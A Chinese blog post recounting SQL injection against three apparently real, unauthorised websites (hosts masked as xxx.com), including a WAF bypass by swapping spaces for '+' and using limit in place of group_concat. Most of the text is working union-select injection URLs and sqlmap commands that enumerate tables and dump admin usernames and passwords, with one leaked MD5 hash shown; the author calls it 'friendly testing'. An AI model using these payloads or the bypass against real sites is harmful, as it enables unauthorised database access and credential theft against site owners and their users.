首页 > 数据库 >SQL注入三连实战绕过WTS-WAF

SQL注入三连实战绕过WTS-WAF

时间:2023-06-05 13:13:15浏览次数:42  
标签:www WTS http WAF xxx SQL php com id

一键三连,sql注入

一次无意之间发现的sql注入,主要是因为有一个WTS-WAF,在此记录一下

只是友好测试,并非有意为之。。。。

牛刀小试1

手注

判断字段数

测试到order by 15的时候出现了报错,那么就可以说明字段数为14

http://www.xxx.com/xxx.php?id=22%20order%20by%2014

http://www.xxx.com/xxx.php?id=22%20order%20by%2015

直接注入

联合注入直接上

判断回显位置
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14

很多都可以,我这里直接用第二个位置

sql版本
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,version(),3,4,5,6,7,8,9,10,11,12,13,14

当前数据库
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14

当前数据库中的表
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14%20from%20information_schema.tables%20where%20table_schema=database()

这里以表root为例:

爆字段
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27root%27

查内容
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(id,0x7e,username,0x7e,password,0x7e,status),3,4,5,6,7,8,9,10,11,12,13,14%20from%20root

root
8c7f5189069036869a4910ff15831772

都是基础语法,连过滤都没有

sqlmap一把梭

在判断存在sql注入后,直接使用sqlmap一把梭

sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch --dbs

sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch -D svpy_com --tables

sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch -D svpy_com -T root --dump

牛刀小试2

步骤和上面差不多,直接测字段

测试回显
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

数据库信息
http://www.xxx.com.xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,database(),18,19,20,21,22,23,24,25,26

手注,sqlmap一把梭都可以

绕过WTS-WAF的SQL注入

测试字段
http://www.xxx.com/xxx.php?id=22%20order%20by%2021

报错

直接告诉了sql语句,添加注释符即可

并且在21的时候页面和正常页面差不多,但是到22的时候页面就发生了变化

http://www.xxx.com/xxx.php?id=22%20order%20by%2022--%20-

然后判断回显位置

http://www.xxx.com/xxx.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-

被waf拦截

百度就可找到绕过方式

这里将空格替换为+即可

然后判断回显位置
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-

在第七个位置

当前数据库
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
版本
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-

在获取表的时候又被拦了

http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=database()--%20-

看样子应该是group_concat()的原因,这里使用limit一个一个查看

http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=database()+limit+0,1--%20-

bp抓包,给爆破一下

存在12个表

admin_authority,admin_login,admininfo,advanced,big_class,files,info,information,ip,message,sec_class,third_class

我在admin_login中并没有发现密码字段,于是选择admininfo表,并且发现了passwd字段

http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.columns+where+table_name=%27admininfo%27+limit+0,1--%20-

bp爆破
username字段

passwd字段

查询username

ttp://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admininfo+limit+0,1--%20-

查询密码

http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,passwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admininfo+limit+0,1--%20-

找个md5平台进行解密即可

这个网站主要的困难就是需要绕WAF,通常想这类的WAF在百度搜一搜都会有相关的绕过方式的。

如有错误和侵权,请联系删除!!!

标签:www,WTS,http,WAF,xxx,SQL,php,com,id
From: https://www.cnblogs.com/-Lucky-/p/17457503.html

相关文章

  • ORM核心功能之导航属性- EFCore和 SqlSugar
    导航属性导航属性是作为ORM核心功能中的核心,在SqlSugar没有支持导航属性前,都说只是一个高级DbHelper,经过3年的SqlSugar重构已经拥有了一套非常成熟的导航属性体系,本文不是重点讲SqlSugar而是重点讲导航属性的作用,让更多写Sql人还未使用ORM的人了解到ORM的作用。 1.复杂的查......
  • Mysql 主从备份 Last_Errno: 1146 Last_Error: Error executing row event: 错误问题
    本人在做主从备份的时候发现了此问题! 1主数据库是已经把这个表删除了丛数据库也是没有备份这个表但是一直报这个错原因是bin-log日志有这个表 但是没记录到已经把这个表删除了 主从表同步实际从库是根据主库的bin-log二进制的SQL进行执行的 这是Mysql的一个BUG1......
  • mysql 8.0 解压版安装以及安装版更改密码
    解压版:下载地址https://dev.mysql.com/downloads/mysql/在根目录下创建文本文档,并重命名为my.ini文件 使用文本编辑器打卡my.ini,将下面内容复制进去[mysqld]#validate_password密码校验#plugin-load-add=validate_password.dll#connection_control登录超时插件#p......
  • PostgreSQL中使用动态SQL-实现自动按时间创建表分区
    PostgreSQL中通过继承,可以支持基本的表分区功能,比如按时间,每月创建一个表分区,数据记录到对应分区中。按照官方文档的操作,创建子表和index、修改trigger等工作都必须DBA定期去手动执行,不能实现自动化,非常不方便。尝试着通过在plpgsql代码中使用动态SQL,将大表分区的运维操作实现......
  • mysql 递归查询父级下的所有子级
    有一张组织表,该表有上下层级,使用mysql递归查询某个组织下的所有子组织,sql要怎么写?假设这张表名为organization的表,其结构如下:CREATETABLEorganization(idINTPRIMARYKEY,nameVARCHAR(50),parent_idINT);表里插入了几条数据INSERTINTO`organization`(`......
  • Springboot 链接DataSource前检查或创建库,并设置时区及sql_mode
    /**Copyright(c)2022.AsiacomTechnologyInc.Allrightsreserved*/importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;importorg.springframework.beans.factory.annotation.Value;importorg.springframework.context.annotation.Configuration;......
  • MySQL学习从基础开始
    1.什么是数据库DataBase,简称DB;数据库软件称为数据库管理系统,英文简称DBMS,全称为DataBaseManagementSystem,例如:Oracle、MySQL、SQLServer、Sybase、informix、DB2等等。2.MySQL概述MySQL最初是由“MySQLAB公司”开发的一套关系型数据库管理系统(RDBMS-RelationDataBas......
  • NoSQL数据库的四大分类的分析
    1NoSQL数据库的四大分类2共同特征对于NoSQL并没有一个明确的范围和定义,但是他们都普遍存在下面一些共同特征:不需要预定义模式:不需要事先定义数据模式,预定义表结构。数据中的每条记录都可能有不同的属性和格式。当插入数据时,并不需要预先定义它们的模式。无共享架构:相对于将所有数据......
  • 基于JAVA操作系统在线网站SQL
    随着21世纪的到来,人们更深刻的感受到了计算机在生活和工作中作用的重要,越来越多的职业需要具有计算机的应用技能。掌握计算机是职业的需要,社会的需要,更是事业发展的需要。今天,计算机技术不但广泛地应用在办公自动化中,还全面参与到各行各业。所有与计算机相关的职业都要求工作者有......
  • sql中,where和having的区别
    区别1:WHERE可以直接使用表中的字段作为筛选条件,但不能使用分组中的计算函数作为筛选条件;HAVING必须要与GROUPBY配合使用,可以把分组计算的函数和分组字段作为筛选条件。这决定了,在需要对数据进行分组统计的时候,HAVING可以完成WHERE不能完成的任务。这是因为,在查询语法结......